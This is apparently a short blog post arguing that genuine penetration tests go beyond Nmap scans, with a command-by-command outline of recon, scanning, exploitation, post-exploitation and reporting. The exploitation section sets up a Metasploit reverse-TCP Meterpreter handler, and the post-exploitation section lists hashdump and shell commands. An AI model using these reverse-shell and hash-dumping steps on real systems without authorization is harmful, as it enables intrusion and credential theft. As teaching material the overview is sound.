The Reality of Penetration Testing: Beyond Nmap Scans

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Many companies today market basic Nmap scans as full penetration tests, misleading clients about the depth of security assessments. A true penetration test involves comprehensive exploitation, post-exploitation, and detailed reporting—far beyond simple port scanning.

You Should Know:

To perform a real penetration test, you need a structured approach. Below are essential steps, commands, and tools used by professionals:

1. Reconnaissance (Passive & Active)

  • Nmap (Network Scanning)
    nmap -sV -A -T4 target.com
    
  • -sV: Service version detection
  • -A: Aggressive scan (OS detection, script scanning)
  • -T4: Faster scan speed

  • DNS Enumeration

    dnsenum target.com
    

2. Vulnerability Scanning

  • Nessus / OpenVAS
    openvas-start
    

(Launch OpenVAS web interface for automated vulnerability scanning)

3. Exploitation

  • Metasploit Framework
    msfconsole 
    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_tcp 
    set LHOST <your_ip> 
    set LPORT 4444 
    exploit 
    

4. Post-Exploitation

  • Meterpreter Commands
    sysinfo # System information 
    hashdump # Dump password hashes 
    shell # Access system shell 
    

5. Reporting

  • Use tools like Dradis or Faraday for collaborative reporting.

Bonus: Automated Penetration Testing

  • AutoRecon (Automates initial recon)
    autorecon target.com
    

What Undercode Say

The security industry is flooded with misleading “penetration testing” services that barely scratch the surface. A real pentest requires manual exploitation, lateral movement analysis, and business impact assessment—not just automated scans.

Essential Commands to Master:

  • Linux:
    netstat -tuln # Check open ports 
    tcpdump -i eth0 # Packet capture 
    chmod 600 file # Secure file permissions 
    
  • Windows:
    netstat -ano # Active connections 
    whoami /priv # Check user privileges 
    

Expected Output:

A penetration test report should include:

  • Executive summary
  • Methodology
  • Critical vulnerabilities
  • Proof-of-concept exploits
  • Remediation steps

For real-world pentesting, check: https://hctit.io/xrisks

References:

Reported By: Simonehaddad Pentesting – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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